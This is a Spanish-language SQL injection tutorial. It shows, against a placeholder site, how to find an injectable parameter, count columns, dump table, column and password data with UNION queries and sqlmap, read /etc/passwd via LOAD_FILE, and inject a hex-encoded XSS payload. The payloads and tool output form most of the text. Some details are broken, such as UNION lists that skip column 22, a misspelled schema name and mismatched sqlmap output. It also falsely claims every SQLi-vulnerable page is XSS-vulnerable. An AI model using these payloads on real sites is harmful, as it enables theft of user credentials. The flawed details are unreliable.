Bugs y Exploits‎ > ‎Nivel Web‎ > ‎Inyección SQL‎ > ‎

INYECCIÓN SQLi - Básico

¿Qué es una inyección sql?

Sql Injection ó Inyección SQL es una vulnerabilidad que permite al atacante enviar o “inyectar” instrucciones SQL de forma maliciosa y malintencionada.

¿Porqué ocurre un error sql?

Un error SQL ocurre normalmente con la mala filtración de las variables en un programa que tiene o crea SQL, generalmente cuando solicitas a un usuario entradas de cualquier tipo y no se encuentran validadas, como por ejemplo su nombre y contraseña, pero a cambio de esta información el atacante envía una sentencia SQL invasora que se ejecutará en la base de datos.

Tipos de inyección sql

Una inyección sql puede ser explotada de 2 maneras diferentes, manualmente, es decir, el atacante inyectara a mano la secuencia de comandos para así generar la acción dentro de la base de datos.

Por otra parte tenemos la inyección automatizada con sqlmap, sqlmap es una herramienta diseñada especialmente para este tipo de ataques, se encarga de analizar la página, ver si es vulnerable y atacar, se dice que es automatizada ya que la herramienta hace todo por si sola, el usuario solo necesita ingresar las opciones que quiera usar para hacer más efectivo el escaneo.

Inyección sql manual

Detectar una página vulnerable

Una de las principales cosas en donde nos tenemos que fijar para detectar si una página es vulnerable a inyección sql es en sus parametros, imaginemos lo siguiente:

Encontramos una página común y corriente la cual utiliza muchos parametros por el metodo GET (recordemos que el metodo GET es cuando la página envia los datos usando la URL), entonces tenemos algo como esto:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1

En este ejemplo tenemos 3 parametros, los cuales son:

id=1
id2=1
id3=1

Ahora, para detectar si la página es vulnerable, una de las cosas más sencillas es usar un simple ' al final de cada parametro para ver si nos genera un error en la base de datos.

Entontes tenemos lo siguiente:

Agregamos un ' al final del primer paramero, pero no nos genera ningun error:

http://www.paginaparaejemplo.com/algo.php?id=1'&id2=1&id3=1

Agregamos un ' al final del segundo paramero, pero no nos genera ningun error:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1'&id3=1

Agregamos un ' al final del ultimo paramero, pero aquí si nos devuelve un error:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1'

La página nos muestra una leyenda como esta:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax

Ahora que tenemos el parámetro vulnerable, nos pasamos a lo siguiente.

Detectar el número de columnas

Ya tenemos el parámetro vulnerable, ahora tenemos que identificar el número de columnas usadas por la página, para esto tenemos los siguientes comandos:

order by y group by

Aquí tenemos que ir testeando el numero de columnas, aquí un ejemplo de como usar el order by y el group by:

1' ORDER BY 1 --+	
1' ORDER BY 2 --+	
1' ORDER BY 3 --+	
1' ORDER BY 4 --+	
etc...
1' GROUP BY 1--+	
1' GROUP BY 2--+	
1' GROUP BY 3--+	
1' GROUP BY 4--+	
etc...

Aquí lo que estamos buscando es que la pagina nos genere un error al inyectar un numero que supera las columnas usadas por la página, para que sea un poco mas entendible vamos a verlo de esta manera:

Imaginamos que la pagina tiene 23 columnas, volviendo al ejemplo anterior en donde ya descubrimos el parámetro vulnerable nos quedaria algo como esto:


-http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 1 --+ #sin error

-http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 2 --+ #sin error

-http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 3 --+ #sin error

-http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 10 --+ #sin error

-http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 20 --+ #sin error

-http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 23 --+ #sin error

-http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' order by 24 --+ #tenemos un error

Al nosotros sobrepasar el número de columnas usadas por la página, esta nos mostrará un error como el siguiente:

La consulta no se realizo: Unknown column '24' in 'order clause'

Gracias a esto, descubrimos que la página usa 23 columnas.

Usando union select

Ahora llega el turno de union select, lo que hacen estos comandos es "darnos paso" por así decirlo a ejecutar sentencias directamente en la base de datos y que esto se vea reflejado en la página.

Para usar union select, tenos que poner el total de columnas que descubrimos anteriormente. Volviendo a el ejemplo que tenemos planteado, nos quedaría de la siguiente manera:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+

Lo que eso generará es que la página nos muestre los números de las columnas que son vulnerables para inyectar en ellas, esta parte es muy importante ya que tenemos que ser muy curiosos para notar los cambios, en algunos casos los cambios son muy drásticos y se notan demasiado, pero en otros casos los cambios son demasiado sutiles.

Para este ejemplo, imaginemos que la página es vulnerable en las columnas 3 , 5 y 20. La página nos mostrará estos números en algún lugar.

Extraer información

Ahora que tenemos el número de columnas y hemos identificado las columnas inyectables sigue extraer e inyectar informacion, para hacer eso necesitamos inyectar directamente en la columna vulnerable, pasando al ejemplo anterior y al saber que la columna 5 es vulnerable, nos quedara algo como esto:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,'soy vulnerable',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+

Al inyectar 'soy vulnerable' le estamos diciendo a la página que queremos que por la columna número 5 nos muestre la frase soy vulnerable ya que estamos inyectando un string directamente en la columna vulnerable

Algo que recomiendo mucho es usar @@datadir, Este nos muestra en donde esta montada la base de datos, pero al mismo tiempo nos nuesta informacion con la que podemos determinar que base de datos de esta usando, imaginemos que inyectamos y nos muestra esto:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,@@datadir,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+

Nos muestra:

/var/lib/mysql/

Esto significa que la base de datos esta en esa ruta y al mismo tiempo nos dice que la base de datos usada es mysql, entonces nos enfocamos en esa base de datos.

mysql sql Injection Cheat Sheet

Al saber que la base de datos con la que se maneja la página es mysql, vamos a ver un pequeño Cheat Sheet para esta base de datos.

¿Qué es un Cheat Sheet?

Basicamente es una lista con muchos "trucos" se puede decir, como es la traduccion a español de esa frase Cheat Sheet = hoja de trucos. En esta vamos a encontrar desde las consultas mas basicas hasta consultas un poco mas avanzadas que nos van a ayudar demasiado para trabajar en nuestra inyección sql.

|   Version   |  SELECT @@version o SELECT version()  | nos da la version de la base de datos  |

| Current User | SELECT user() o SELECT system_user() | nos da el usuario que tenemos |

| List Users | SELECT user FROM mysql.user | nos muestra todos los usuarios |

| Database  | SELECT database() | nos muestra la base de datos en la que estamos |

| Lista de bases de datos | SELECT schema_name FROM information_schema.schemata | nos muestra las bases de datos  |

| List tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | nos muestra las tablas de la base de datos elegida |

| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | nos muestra las columnas de la tabla elegida |

| Local File Access |  UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)  | si es posible, nos deja leer archivos del sistema |

| DB location | SELECT @@datadir | nos muestra la direccion en donde esta instalada la base de datos | 
 

Extraer informacion personalizada

Ahora vamos a analizar mas a detalle como sacar informacion de la base de datos, regresando al ejemplo con el que estamos practicando, vamos a usar database(), que como ya lo vimos nos sirve para que nos muestre el nombre de la base de datos con la que estamos trabajando;

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+

Nos muestra:

nombre_DB

ahora tenemos el nombre de la base de datos.

lo siguiente que vamos a hacer es sacar las tablas de la base de datos, aquí hay 2 maneras:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.tables --+

Nos muestra:

las principales tablas de la base de datos information_schema

para sacar las tablas de la base de datos que sacamos antes: nombre_DB hacemos lo siguiente:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.tables where table_schema=database() --+

Nos muestra las principales tablas de la base de datos nombre_DB:

supongamos que encontramos las tablas:

usuarios, otra_tabla, hola_soy_otra_tabla

logicamente la que nos interesa es la tabla usuarios

Ahora vamos a entrar a la tabla usuarios dentro de la base de datos nombre_DB para sacar las columnas:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.comlumns where table_name="usuarios" --+

Nos muestra:

id, name, email, passwd

que son generalmente las que se pueden encontrar.

Ahora, para mostrar el contenido de esas columnas: id, name, email, passwd solo tenemos que recordar en que tabla estan para asi poder llamarlas, así;

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(id,name,email,passwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from usuarios --+

Nos muestra:

0pepitopepito@correo.comcontraseñasegura

si se dan cuenta esta todo junto por que asi es como lo estamos llamando, para arreglar esto vamos a hacer uso de la codificacion hex y del simbolo :.

el simbolo : en hex nos queda así: 0x3a.

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(id,0x3a,name,0x3a,email,0x3a,passwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from usuarios --+

Nos muestra:

0:pepito:pepito@correo.com:contraseñasegura

ahora más entendible.

Como nota

Para realizar estos "ataques" personalizados usamos algunas cosas que me gustaría explicar:

1-gruop_concat(): Esta es una funcion que nos permite concatenar valores, de tal manera que lo estamos usando para que nos devuelva los valores que nosotros elegimos desde la tabla seleccionada.

2-group_concat(table_name) from information_schema.tables: Esta sentencia nos devuelve el nombre de las tablas (fijense que estamos haciendo uso de group_concat(table_name)) desde information_schema.tables, esto significa que estamos haciendo una sentencia que nos refleja el nombre de las tablas que estan dentro de la base de datos llamada information_schema.

3-group_concat(table_name) from information_schema.tables where table_schema=database(): Este secuencia es muy parecida a la anterior, solo que aquí se agrega otro comando: where que se utiliza para hacer un poco mas personalizada la consulta, en este caso la estamos usando para dirigir la consulta dentro de la base de datos llamada nombre_DB

Inyección sql automatizada con sqlmap

¿Qué es sqlmap?

SQLMap es una herramienta para explotar la vulnerabilidad de SQL injection. Esta herramienta automatiza el ataque para así explotar la página.

Instalación de sqlmap

Para empezar me gustaría dejar la página oficial aquí: http://sqlmap.org/

Sqlmap es una herramienta que funciona en python en sus versiones: 2.6, 2.7 y 3.x en todas las plataformas, así que no hay problema para usarlo, personalmente lo he usado en windows, linux y en termux y en todas funciona exelente.

Lo primero que tenemos que hacer es tener instalado git para poder clonar su repositorio oficial a nuestro dispositivo, el sitio en git es el siguiente:

https://github.com/sqlmapproject/sqlmap.git

para clonarlo usamos lo siguiente:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

una vez que tengamos clonado el repositorio entramos a la carpeta sqlmap-dev y ejecutamos el archivo sqlmap.py:

python sqlmap.py

Uso básico de sqlmap

Para ver las opciones de ayuda de esta herramienta basta con usar lo siguiente:

sqlmap.py -h

Lo que nos devolvera las opciones basicas para hacer un correcto uso de esta herramienta, algo que se tiene que entender bien es el correcto orden de ejecuion para agregar las opciones:

sqlmap.py --opcion -u URL

En las opciones podemos resaltar las mas generales e importantes, por ejemplo:

| --random-agent | Lo cual nos permite "cambiar" el user agent con el cual se ejecutan las consultas |

| --proxy=proxy | Lo cual nos permite conectarnos a la página que queremos escanear por medio de un proxy |

| -p parametro | Se utiliza para determinar el parametro que queremos analizar |

| --level=1-5 | Este nos permite modificar el nivel de con el que queremos hacer el escaneo, por defecto esta en el en nivel 1 pero podemos cambiarlo hasta el 5 para hacer mas intrisivo el escaneo |

| --risk=1-3 | De igual manera que --level, risk nos permite cambiar el nivel con el que queremos hacer el escaneo agregando mas agresividad pero al mismo tiempo haciendo mas ruido, este se puede configurar desde el 1 al 3 vieniendo por defecto en el número 1 |

| --current-user | Nos extrar el nombre de usuario con el que interactuamos con la base de datos |

| --current-db | Nos extrae el nombre de la base de datos en la cual estamos |

| --dbs | Nos extrerá el numero de bases de datos y nos mostrará el nombre de cada una de ellas |

| -D nombre | Nos permite entrar en la base de datos seleccionada |

| --tables | Nos mostrará el numero de tablas dentro de una base de datos y los nombres de cada una de las tablas |

| -T nombre | Nos permite entrar en la tabla seleccionada | 

| --column | Nos extraerá el número de las columnas dentro de una tabla y nos mostrara el nombre de cada una de ellas |

| -C nombre | Nos permite seleccionar la columna |

| --dump | Nos permite extraer contenido de la base de datos |

| --dump-all | Nos extrae todo de la base de datos |


Una vez que ya conocemos las opciones basicas de la herramienta vamos a ver un ejemplo de como usarla:

sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1"

Algo muy importante a tener en cuenta es que sqlmap escanea la página parametro por paramerto, esto significa que si tenemos una página con mas de un parametro tenemos que especificar el puerto que queremos analizar o escanear todos uno a uno.

Al empezar el escaneo, este de divide en partes:

Escaneará la coneccion con la página. Escaneará la página en busca de algun WAF o IPS:

[INFO] checking if the target is protected by some kind of WAF/IPS

Al terminar el escaneo, nos aparecera algo como esto:

[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql' 
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=3 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489)
 THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

Esto significa que ya ha terminado el escaneo, que la página es vulnerable y que conseguimos atacarla con exito. Lo siguiente es extraer el nombre de la base de datos, para extraer el nombre de las bases de datos vamos a usar la opcion --dbs:

sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" --dbs

Al terminar vamos a tener los nombres de las bases de datos, algo como esto:

[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql' 
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id3=1 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: nombre_DB
available databases [2]:
[*] information_schema
[*] nombre_DB

Con esto tenemos las bases de datos, en este ejemplo tenemos 2:

[*] information_schema
[*] nombre_DB

Ahora, vamos a entrar a la base de datos nombre_DB y estraerémos el nombre de las tablas:

sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB --tables

Al terminar el escaneo tenemos algo como esto:

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'nombre_DB'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 3 entries
[11:55:20] [INFO] retrieved: usuarios
[11:55:21] [INFO] retrieved: otra_tabla
[11:55:21] [INFO] retrieved: hola_soy_otra_tabla

Al terminar tenemos las siguientes tablas:

usuarios, otra_tabla, hola_soy_otra_tabla

Lo siguiente es seleccionar una tabla y extraer las columnas dentro de ella:

sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB -T usuarios --columns

Al terminar tenemos algo como esto:

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 4 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)                                                                                         
[12:17:45] [INFO] retrieved: name                                                                                            
[12:17:46] [INFO] retrieved: text                                                                                            
[12:17:47] [INFO] retrieved: passwd                                                                                        
[12:17:48] [INFO] retrieved: text                                                                                            

.......

[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: nombre_DB
Table: users
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| id                | int(11)      |
| name              | text         |
| passwd            | text         |
+-------------------+--------------+

Tenemos las siguientes columnas:

id, name, email, passwd

Por último tenemos que extraer el contenido de esas columnas:

sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB -T usuarios -C id,name,email,passwd --dump

Al terminar tenemos algo como esto:

+----+----------+---------------------+-------------------+
| id | name     | email               |      password     |
+----+----------+---------------------+-------------------+
| 0  | pepito   | pepito@correo.com   | contraseñasegura  |
+----+----------+---------------------+-------------------+

Con esto ya tenemos extraida la informacion que hay dentro de las columnas.

Pasar de sql inyection a xss inyection

Ahora que hemos visto como hacer un "ataque" de inyección sql, vamos a pasar de una vulnerabilidad a otra, esta será una inyección xss. Todas las paginas que son vulnerables a sql inyection tambien son vulnerables a xss inyection.

¿Qué es una inyección xss?

Este "ataque" consiste en inyectar código malicioso en páginas web benignas. El atacante inyecta código desde el lado del cliente, de forma que por una mala configuración de la página web, este código se muestre a otros usuarios.

Usando hex para esconder payloads

El sistema hexadecimal es un método de numeración posicional que utiliza como base el número 16 (Base-16), es decir, que existen 16 símbolos de dígitos posible.

Sus números están representados por los 10 primeros dígitos de la numeración decimal y el intervalo del número 10 al número 15 se representa por las letras del alfabeto: A, B, C, D, E y F.

Este es el método con el cual vamos a inyectar xss dentro de una vulnerabilidad sql, retomando el ejemplo de la pagina vulnerable nos quedaria algo así:

De igual manera, vamos a hacer uso de la columna vulnerable, en este caso recordemos que la columna 5 es vulnerable.

Para convertir cadenas a hex hay muchas herramientas y muchas páginas que nos permiten hacer eso, una de ellas es esta:

https://www.convertstring.com/es/EncodeDecode/HexEncode

un payload de inyección xss muy basico es el siguiente:

<script>alert(1)</script>

en hex nos queda asi:

3C7363726970743E616C6572742831293C2F7363726970743E

y al inyectar de esta manera:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,3C7363726970743E616C6572742831293C2F7363726970743E,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+

Nos muestra:

un error

por qué?? bueno, la página nos muestra el error ya que no puede leer la cadena en hex asi como esta, para que lo lea de manera correcta tenemos que agregar 0x en el inicio de la cadena convertida en hex, de esta manera le estamos diciendo a la pagina que queremos que por medio de esa columna vulnerable nos ejecute esa cadena en hex, así:

http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,0x3C7363726970743E616C6572742831293C2F7363726970743E,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+

Nos muestra:

una alerta

Listo, de esta manera estamos pasando a una inyección xss dentro de una inyección sql.

Fuente:

https://github.com/Y000o/sql_injection_basic/blob/master/sql_injection_basic.md